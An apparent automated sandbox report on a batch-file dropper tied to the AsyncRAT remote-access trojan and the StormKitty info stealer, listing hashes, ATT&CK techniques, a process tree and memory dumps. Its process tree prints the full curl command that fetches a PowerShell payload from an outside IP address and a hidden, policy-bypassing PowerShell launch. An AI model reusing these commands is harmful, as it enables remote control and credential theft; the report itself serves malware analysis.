asyncrat | 7066e4a496d83ee1b677ade06c868a432bb4a0dd364b19ee184147a527b11c10

General

Target

7066e4a496d83ee1b677ade06c868a432bb4a0dd364b19ee184147a527b11c10.bat
Size

3KB
MD5

bb445d197063475c8d78de4f0825753c
SHA1

158a8e3b278affe7c1185aad67683e4253cf53dd
SHA256

7066e4a496d83ee1b677ade06c868a432bb4a0dd364b19ee184147a527b11c10
SHA512

173cd8a56e2fa6e8db33bc13870f8751473251aa80be2235321e62b0f84961e9fd00a236aec63342d73f262dbc7c2a920951a1a8f41707ca6640e673f21c4307

Score

10^/10

asyncrat stormkitty discovery execution rat stealer

Malware Config

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat
StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 1 IoCs

resource	yara_rule
behavioral2/memory/4088-30-0x0000000000400000-0x0000000000704000-memory.dmp	family_stormkitty

Stormkitty family
stormkitty

Blocklisted process makes network request 1 IoCs

flow	pid	Process
8	1500	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1500	powershell.exe

Downloads MZ/PE file
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1500 set thread context of 4088	1500	powershell.exe	89

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1500	powershell.exe
1500	powershell.exe
4088	RegAsm.exe
4088	RegAsm.exe
4088	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1500	powershell.exe
Token: SeDebugPrivilege	4088	RegAsm.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4088	RegAsm.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2404 wrote to memory of 3196	2404	cmd.exe	84
PID 2404 wrote to memory of 3196	2404	cmd.exe	84
PID 2404 wrote to memory of 1500	2404	cmd.exe	85
PID 2404 wrote to memory of 1500	2404	cmd.exe	85
PID 3196 wrote to memory of 3036	3196	cmd.exe	86
PID 3196 wrote to memory of 3036	3196	cmd.exe	86
PID 1500 wrote to memory of 1280	1500	powershell.exe	87
PID 1500 wrote to memory of 1280	1500	powershell.exe	87
PID 1280 wrote to memory of 4552	1280	csc.exe	88
PID 1280 wrote to memory of 4552	1280	csc.exe	88
PID 1500 wrote to memory of 4088	1500	powershell.exe	89
PID 1500 wrote to memory of 4088	1500	powershell.exe	89
PID 1500 wrote to memory of 4088	1500	powershell.exe	89
PID 1500 wrote to memory of 4088	1500	powershell.exe	89
PID 1500 wrote to memory of 4088	1500	powershell.exe	89
PID 1500 wrote to memory of 4088	1500	powershell.exe	89
PID 1500 wrote to memory of 4088	1500	powershell.exe	89
PID 1500 wrote to memory of 4088	1500	powershell.exe	89

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\7066e4a496d83ee1b677ade06c868a432bb4a0dd364b19ee184147a527b11c10.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2404
- C:\Windows\system32\cmd.exe
  cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3196
- - C:\Windows\system32\curl.exe
    curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1
    3⤵
    PID:3036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1500
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\a3ub5cz4\a3ub5cz4.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1280
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB527.tmp" "c:\Users\Admin\AppData\Local\Temp\a3ub5cz4\CSCC619E4DEBF4A4EDF9B3CCA18F0E39A6B.TMP"
      4⤵
      PID:4552
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:4088

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\RESB527.tmp

Filesize
1KB

MD5
4b32ca8b61665cd70a053c973bf783af

SHA1
68012b78694512c30dd6d85ba34f59bf7971aeb3

SHA256
b0148834b8820bf213eae762161b55a7694d15d81b02fbb7ab9abf1f0c7f4eb3

SHA512
34cf3531e53e8c1dde9130351c978388be00d8fd64688b5e1d9799ab3e91ea8f65f15429cd65d9fdc6b0f42477d872a77856320219e78c9935dd6d6712365f10

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vp2jocr3.rak.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\a3ub5cz4\a3ub5cz4.dll

Filesize
9KB

MD5
15a48094d6d460307cc6510b496286e4

SHA1
c86b6519124d4b5a305fb52f9191c29155e5bc88

SHA256
260f680d88277b34b3eb25654b08e99ef184774b6623df1bcbdde6a21d9af2b2

SHA512
668b771bf768a44a5fdb7e021a477e8a3813fa37a7dc2414445b23b4395461c243f2f7cf13a64cf5c8478e0bbd3199842f1aa8b73d7fc25fe4fd91d1b9dc8f4c

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\a3ub5cz4\CSCC619E4DEBF4A4EDF9B3CCA18F0E39A6B.TMP

Filesize
652B

MD5
f7533e6a935fe4c008d0d30429babc96

SHA1
7920c17fae2bb0660610712c8b5ff4c00d8e3fe8

SHA256
3720eb550ba39c6049ea414db81e4591adea3ddf90e955fb21ed5671ff522f93

SHA512
85f0c57bfd3739e68c10d4ca93752b78f7eb06f7571f62866a66fdd4673c2f35dc574dee7866e4d5b809479570f568044ebaa1e317848ca2f3b40768d0bc424d

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\a3ub5cz4\a3ub5cz4.0.cs

Filesize
10KB

MD5
b5c3a2d03ff4c721192716f326c77dea

SHA1
6b754fd988ca58865674b711aba76d3c6b2c5693

SHA256
ab42fe5fd08cb87663e130f99f96124fdd37d825d081b9712b0bad8b6f270fac

SHA512
d32e5a98c12b6b85d1913555ea54f837cd0fc647ca945aef9d75ffade06506be1f4a2348827f11c4eeae0796e4156c8f352e3c0f9a6e2cdc93cb501bcdf2c248

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\a3ub5cz4\a3ub5cz4.cmdline

Filesize
204B

MD5
fec7a9d857f0749c7bed97414cdab4d2

SHA1
8c6e94c96bbcd23d5784505140e17ae2a65c2166

SHA256
c14c21095a68facc923be2c57923107ae6b08bea89b802a52fd6d6b0b63203d2

SHA512
802fb7a772761ff4049acd4afd9cfa325b73a06cf2c15dd732adacde09893726709686a472e010c375f73b4381f1c411a34ecf7424bcc1b7ca6e6499bc7ec08f

Download Submit
memory/1500-13-0x0000015A7F130000-0x0000015A7F174000-memory.dmp

Filesize
272KB

Download
memory/1500-33-0x00007FFFC1E70000-0x00007FFFC2931000-memory.dmp

Filesize
10.8MB

Download
memory/1500-14-0x0000015A7F270000-0x0000015A7F2E6000-memory.dmp

Filesize
472KB

Download
memory/1500-0-0x00007FFFC1E73000-0x00007FFFC1E75000-memory.dmp

Filesize
8KB

Download
memory/1500-12-0x00007FFFC1E70000-0x00007FFFC2931000-memory.dmp

Filesize
10.8MB

Download
memory/1500-11-0x00007FFFC1E70000-0x00007FFFC2931000-memory.dmp

Filesize
10.8MB

Download
memory/1500-1-0x0000015A67070000-0x0000015A67092000-memory.dmp

Filesize
136KB

Download
memory/1500-28-0x0000015A02750000-0x0000015A02758000-memory.dmp

Filesize
32KB

Download
memory/1500-15-0x0000015A02740000-0x0000015A02750000-memory.dmp

Filesize
64KB

Download
memory/4088-30-0x0000000000400000-0x0000000000704000-memory.dmp

Filesize
3.0MB

Download
memory/4088-34-0x0000000005AD0000-0x0000000006074000-memory.dmp

Filesize
5.6MB

Download
memory/4088-35-0x0000000005990000-0x0000000005A22000-memory.dmp

Filesize
584KB

Download
memory/4088-36-0x00000000058F0000-0x00000000058FA000-memory.dmp

Filesize
40KB

Download
memory/4088-39-0x0000000006A10000-0x0000000006AAC000-memory.dmp

Filesize
624KB

Download
memory/4088-40-0x0000000006500000-0x0000000006566000-memory.dmp

Filesize
408KB

Download
memory/4088-41-0x0000000006DC0000-0x0000000006DE2000-memory.dmp

Filesize
136KB

Download
memory/4088-42-0x0000000006DF0000-0x0000000007144000-memory.dmp

Filesize
3.3MB

Download

Analysis

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